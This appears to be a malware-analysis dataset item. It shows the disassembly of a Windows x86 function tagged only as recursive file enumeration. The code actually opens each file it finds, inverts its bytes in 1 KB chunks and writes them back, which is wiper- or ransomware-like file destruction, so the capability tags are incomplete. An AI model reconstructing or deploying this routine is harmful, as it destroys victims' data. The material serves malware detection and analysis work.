Function at 0x401000
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x8b8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x8b4], eax
push esi
push edi
lea eax, [esp + 0x68]
mov edi, ecx
push eax
push edi
mov dword [esp + 0x30], edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
mov dword [esp + 0x2c], esi
test esi, esi
je 0x401355
mov ecx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov dword [esp + 0x1c], ecx
mov ax, word [esp + 0x94]
mov edx, 0x2e2e
cmp ax, 0x2e
je 0x401068
cmp ax, dx
jne 0x40107e
cmp byte [esp + 0x96], 0
jne 0x40107e
lea eax, [esp + 0x68]
push eax
push esi
call ecx
test eax, eax
je 0x40133f
mov ecx, dword [esp + 0x1c]
jmp 0x401046
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
movups xmm0, xmmword [0x403130]
mov dword [esp + 0x20], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [esp + 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x24], eax
nop word [eax + eax]
test byte [esp + 0x68], 0x10
mov al, byte [edi]
push pe_nt_image_headers32
mov byte [esp + 0x1b], al
push 0
je 0x401164
lea eax, [esp + 0x2c0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor esi, esi
cmp byte [esp + 0x17], 0x2a
je 0x401104
lea edx, [esp + 0x2b8]
mov ecx, edi
sub edx, edi
nop dword [eax]
cmp esi, 0x100
jae 0x401104
mov al, byte [ecx]
inc esi
mov byte [edx + ecx], al
inc ecx
cmp byte [ecx], 0x2a
jne 0x4010f0
xor edx, edx
cmp byte [esp + 0x94], dl
je 0x401133
mov ecx, esi
cmp ecx, 0x100
jae 0x401133
mov al, byte [esp + edx + 0x94]
inc edx
mov byte [esp + ecx + 0x2b8], al
inc ecx
cmp byte [esp + edx + 0x94], 0
jne 0x401111
lea eax, [edx + esi]
cmp eax, 0xfd
ja 0x401355
mov word [esp + eax + 0x2b9], 0x2a
lea ecx, [esp + 0x2b8]
mov byte [esp + eax + 0x2b8], 0x5c
call section..text
jmp 0x401322
lea eax, [esp + 0x3c0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor esi, esi
cmp byte [esp + 0x17], 0x2a
je 0x40119c
lea edx, [esp + 0x3b8]
mov ecx, edi
sub edx, edi
cmp esi, 0x100
jae 0x40119c
mov al, byte [ecx]
inc esi
mov byte [edx + ecx], al
inc ecx
cmp byte [ecx], 0x2a
jne 0x401188
xor ecx, ecx
cmp byte [esp + 0x94], cl
je 0x4011d2
mov edx, esi
nop dword [eax]
cmp edx, 0x100
jae 0x4011d2
mov al, byte [esp + ecx + 0x94]
inc ecx
mov byte [esp + edx + 0x3b8], al
inc edx
cmp byte [esp + ecx + 0x94], 0
jne 0x4011b0
lea eax, [ecx + esi]
cmp eax, 0xfd
ja 0x401355
push 0
push 0x10000000
push 3
push 0
push 0
mov byte [esp + eax + 0x3cc], 0
lea eax, [esp + 0x3cc]
push 0xc0000000
push eax
call dword [esp + 0x3c]
mov esi, eax
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x54]
mov dword [esp + 0x50], 0
push eax
lea eax, [esp + 0x50]
mov dword [esp + 0x60], 0
push eax
push 0x400
lea eax, [esp + 0x4c4]
xorps xmm0, xmm0
push eax
push esi
movlpd qword [esp + 0x68], xmm0
movlpd qword [esp + 0x74], xmm0
call dword [esp + 0x2c]
test eax, eax
je 0x401322
mov edi, dword [esp + 0x18]
mov edx, dword [esp + 0x4c]
xor eax, eax
test edx, edx
je 0x4012dc
cmp edx, 0x40
jb 0x4012c7
movaps xmm1, xmmword [esp + 0x30]
mov ecx, edx
and ecx, 0xffffffc0
movups xmm0, xmmword [esp + eax + 0x4b8]
pandn xmm0, xmm1
movups xmmword [esp + eax + 0x4b8], xmm0
movups xmm0, xmmword [esp + eax + 0x4c8]
pandn xmm0, xmm1
movups xmmword [esp + eax + 0x4c8], xmm0
movups xmm0, xmmword [esp + eax + 0x4d8]
pandn xmm0, xmm1
movups xmmword [esp + eax + 0x4d8], xmm0
movups xmm0, xmmword [esp + eax + 0x4e8]
pandn xmm0, xmm1
movups xmmword [esp + eax + 0x4e8], xmm0
add eax, 0x40
cmp eax, ecx
jb 0x401270
cmp eax, edx
jae 0x4012dc
nop dword [eax + eax]
not byte [esp + eax + 0x4b8]
inc eax
cmp eax, edx
jb 0x4012d0
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x54]
push eax
push edx
lea eax, [esp + 0x4c4]
push eax
push esi
call dword [esp + 0x38]
add dword [esp + 0x5c], 0x400
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x50]
push eax
push 0x400
lea eax, [esp + 0x4c4]
push eax
push esi
call edi
test eax, eax
jne 0x401257
mov edi, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0x68]
push eax
push esi
call dword [esp + 0x24]
test eax, eax
jne 0x4010b0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x8b4]
xor ecx, esp
call fcn.004013e7
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x8bc]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004013e7
mov esp, ebp
pop ebp
ret